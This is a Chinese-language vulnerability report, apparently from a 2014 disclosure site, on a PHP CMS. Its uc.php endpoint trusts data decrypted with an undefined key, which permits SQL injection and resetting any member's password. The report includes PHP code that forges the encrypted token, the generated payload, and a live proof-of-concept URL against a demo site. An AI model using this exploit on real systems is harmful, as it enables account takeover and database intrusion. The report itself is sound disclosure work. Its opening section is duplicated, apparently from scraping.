### 简要描述: rt。 ### 详细说明: 在api/uc.php中 ``` define('API_RETURN_FORBIDDEN', '-2'); define('UC_CLIENT_ROOT', FR_ROOT.'/uc_client'); include_once(FR_ROOT.'/api/api_config.php'); if(defined('IN_UC')) { exit('Invalid Request'); } else { error_reporting(0); set_magic_quotes_runtime(0); !isset($db)&&$db=connectdb(); defined('MAGIC_QUOTES_GPC') || define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); $get = $post = array(); $code = @$_GET['code']; parse_str(_authcode($code, 'DECODE', UC_KEY), $get); if(MAGIC_QUOTES_GPC) { $get = _stripslashes($get); } ``` 来看看所包含的这文件。 ``` define('FR_API',''); //是否开启整合,空为不整合,pw为整合phpwind,uc为整合Ucenter //此文件中的注释字符不可删除 if(FR_API&&FR_API=='uc'){ /*uc_config 开始*/ define('UC_CONNECT', 'mysql'); define('UC_DBHOST', 'localhost'); define('UC_DBUSER', 'root'); define('UC_DBPW', '123456'); define('UC_DBNAME', 'ucenter'); define('UC_DBCHARSET', 'gbk'); define('UC_DBTABLEPRE', 'uc_'); define('UC_DBCONNECT', '0'); define('UC_KEY', 'dfdfdfsdfdsfdsd'); define('UC_API',...
### 简要描述: rt。 ### 详细说明: 在api/uc.php中 ``` define('API_RETURN_FORBIDDEN', '-2'); define('UC_CLIENT_ROOT', FR_ROOT.'/uc_client'); include_once(FR_ROOT.'/api/api_config.php'); if(defined('IN_UC')) { exit('Invalid Request'); } else { error_reporting(0); set_magic_quotes_runtime(0); !isset($db)&&$db=connectdb(); defined('MAGIC_QUOTES_GPC') || define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); $get = $post = array(); $code = @$_GET['code']; parse_str(_authcode($code, 'DECODE', UC_KEY), $get); if(MAGIC_QUOTES_GPC) { $get = _stripslashes($get); } ``` 来看看所包含的这文件。 ``` define('FR_API',''); //是否开启整合,空为不整合,pw为整合phpwind,uc为整合Ucenter //此文件中的注释字符不可删除 if(FR_API&&FR_API=='uc'){ /*uc_config 开始*/ define('UC_CONNECT', 'mysql'); define('UC_DBHOST', 'localhost'); define('UC_DBUSER', 'root'); define('UC_DBPW', '123456'); define('UC_DBNAME', 'ucenter'); define('UC_DBCHARSET', 'gbk'); define('UC_DBTABLEPRE', 'uc_'); define('UC_DBCONNECT', '0'); define('UC_KEY', 'dfdfdfsdfdsfdsd'); define('UC_API', 'http://192.168.1.200/uc'); define('UC_CHARSET', 'gbk'); define('UC_IP', ''); define('UC_APPID', '1'); define('UC_PPP', '20'); /*uc_config 结束*/ if(!defined('UC_CLIENT_VERSION')){ @include_once(FR_ROOT.'/uc_client/client.php'); } }elseif(FR_API&&FR_API=='pw'){ define('P_W','admincp'); require_once(FR_ROOT.'/api/pw_api/security.php'); require_once(FR_ROOT.'/api/pw_api/pw_common.php'); /*pw_config 开始*/ define('UC_DBHOST', 'localhost'); define('UC_DBUSER', 'root'); define('UC_DBPW', '123456'); define('UC_DBNAME', 'phpwind'); define('UC_DBCHARSET', 'gbk'); define('UC_DBTABLEPRE', 'pw_'); define('UC_DBCONNECT', '0'); define('UC_KEY', '1u0ckr7zbyl58xqwljrq'); define('UC_API', 'http://192.168.1.200'); define('UC_CHARSET', 'gbk'); define('UC_IP', ''); define('UC_APPID', '2'); /*pw_config 结束*/ $uc_appid=UC_APPID; $uc_key=UC_KEY; ``` 这里一开始define('FR_API','') 为空 然后肯定就不能进入那两个if 就没有赋值 ``` parse_str(_authcode($code, 'DECODE', UC_KEY), $get); if(MAGIC_QUOTES_GPC) { $get = _stripslashes($get); } ``` 那么这个UC_KEY 就是UC_KEY 就可以调用一个函数来生成语句了。 随便找一个函数。 ``` function updatepw($get, $post) { global $db; if(!API_UPDATEPW) { return API_RETURN_FORBIDDEN; } $username = $get['username']; $password = $get['password']; $newpw = md5($password); $db->query("UPDATE ".$this->tablepre."member SET m_pwd='$newpw' WHERE m_login='$username'"); return API_RETURN_SUCCEED; } ``` 这里用户名和密码都是我们生成的语句所传递进来的 所以我们可以update任意会员的密码 。 当然也可以注入。 ``` $code=urlencode(_authcode("time=999999999999999999999999&username=aaaa'&action=updatepw", 'ENCODE', $uc_key)); echo $code;exit; ``` 这里我调用函数生成一下加密字符串 得到 ece1D670hYzmEkiFD%2FnY%2Fm5PqCzmA99OphcKcW5cb4dL3AzW%2BL73lRDDdNngdeYQnYzE6wYCC4WoIef2%2FKhd08acKElW30X4jIyIuyW3jUPADDbfsdnCcqE [<img src="https://images.seebug.org/upload/201408/210000490f3d8432592ec513e85021bd472a37db.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/210000490f3d8432592ec513e85021bd472a37db.jpg) 可以看到报错了 成功引入了单引号。 如果这里我们生成语句的时候 把用户名和密码改一下 就可以改任意用户的密码了。 测试一下demo http://v2014.rccms.com/api/uc.php?code=e209ygVWvjwOg2ruKoPLOsY4PmxKnRndC73%2BVooImrexNhWivklLwRzSB011MsqX5CzUzxQa2beOvkmPXY0WW63US8VJal8MxDkMvVum5KtY1KvpZYnf6wKd28M1fg [<img src="https://images.seebug.org/upload/201408/2100014781185ca5bf55789e65c2a4b7c39859a3.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/2100014781185ca5bf55789e65c2a4b7c39859a3.jpg) 可以看到报错了 自然也就是引入单引号了。 ### 漏洞证明: http://v2014.rccms.com/api/uc.php?code=e209ygVWvjwOg2ruKoPLOsY4PmxKnRndC73%2BVooImrexNhWivklLwRzSB011MsqX5CzUzxQa2beOvkmPXY0WW63US8VJal8MxDkMvVum5KtY1KvpZYnf6wKd28M1fg [<img src="https://images.seebug.org/upload/201408/2100014781185ca5bf55789e65c2a4b7c39859a3.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/2100014781185ca5bf55789e65c2a4b7c39859a3.jpg)